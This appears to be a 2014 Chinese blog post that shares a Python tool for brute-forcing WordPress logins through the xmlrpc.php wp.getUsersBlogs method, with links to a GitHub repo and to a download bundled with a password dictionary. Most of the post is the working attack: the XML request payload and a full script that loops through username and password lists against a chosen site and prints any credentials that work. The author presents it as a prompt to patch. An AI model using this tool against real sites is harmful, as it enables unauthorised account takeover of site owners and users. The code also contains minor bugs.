WordPress xmlrpc利用工具

前几天看到了 《利用xmlrpc.php对WordPress进行暴力破解攻击》,试了下Wordpress安装后默认带有这漏洞,影响面应该是比较大的,对弱密码党是很不幸的消息。

于是写了这个利用工具,分享给大家,目的是提醒大家修补一下,我看到很多站都没理睬这个问题。

复习下利用方法:可无限制的POST以下数据到xmlrpc.php判断帐号是否正确.

<?xml version="1.0" encoding="iso-8859-1"?><methodCall>  <methodName>wp.getUsersBlogs</methodName>  <params>   <param><value>username</value></param>   <param><value>password</value></param>  </params></methodCall>

以下是python

# -*- coding: utf-8 -*-  '''  Created on 2014-07-30  Title: WordPress xmlrpc 利用工具  author: qingxp9   weibo: http://weibo.com/qingxp9/  WordPress中通过xmlrpc.php提供的接口尝试猜解用户的密码,可以绕过wordpress对暴力破解的限制,  漏洞详情请查看:http://www.freebuf.com/articles/web/38861.html  '''  import urllib2  import re    def ReadMe():      print """说明:      1.在本文件同目录下新建usernames.txt、passwords.txt分别存入用户名、密码字典      2.按提示输入WordPress站点(例如:www.flincllck.com)      """    def GetUrl():      urlinput=raw_input("请输入wordpress站点:")      requrl="http://"+re.match(r"(http://)?(.*)",urlinput).expand('/g<2>')+"/xmlrpc.php"      print "尝试利用:"+requrl      return requrl       def Aviable(requrl):            try:          result = urllib2.urlopen(url=requrl).read()      except urllib2.URLError:          print "抱歉,此站点漏洞不可用"          return False      else :          if result == "XML-RPC server accepts POST requests only.":              print "/n该站点存在此漏洞,尝试破解中:"              return True          else :              print "抱歉,此站点漏洞不可用"              print "网页返回:/n    "+result              return False        def Exploit():      requrl=GetUrl()      if Aviable(requrl) :          f_username=open("usernames.txt","r")          f_password=open("passwords.txt","r")          num=0          Flag=0          for name in f_username:              if Flag == 1:                  break              for key in f_password:                  if num % 10 == 0:                      print "已尝试"+str(num)+"个"                  reqdata='<?xml version="1.0" encoding="UTF-8"?><methodCall><methodName>wp.getUsersBlogs/                          </methodName><params><param><value>'+ name + /                          '</value></param><param><value>'+ key  +/                          '</value></param></params></methodCall>'                  req = urllib2.Request(url=requrl,data=reqdata)                  result = urllib2.urlopen(req).read()                  num=num+1                  if "isAdmin" in result :                      print "Got it !"                      print "username :"+name+"password :"+key                      Flag = 1                      break                                        elif "faultString" and "403" in result :                      continue                                         else :                      print "Unknown error"          print "抱歉,在此字典中未找到正确的密码"            if __name__ == '__main__' :      ReadMe()      Exploit()

github: https://github.com/qingxp9/wordpress_xmlrpc_exploit 

网盘下载:http://pan.baidu.com/s/1dD5X0VR ,包内放了个很简陋的字典

我用宇宙最好用IDE跑下,截图给大家看看:

WordPress xmlrpc利用工具

微博: http://weibo.com/qingxp9 

博客: http://www.flincllck.com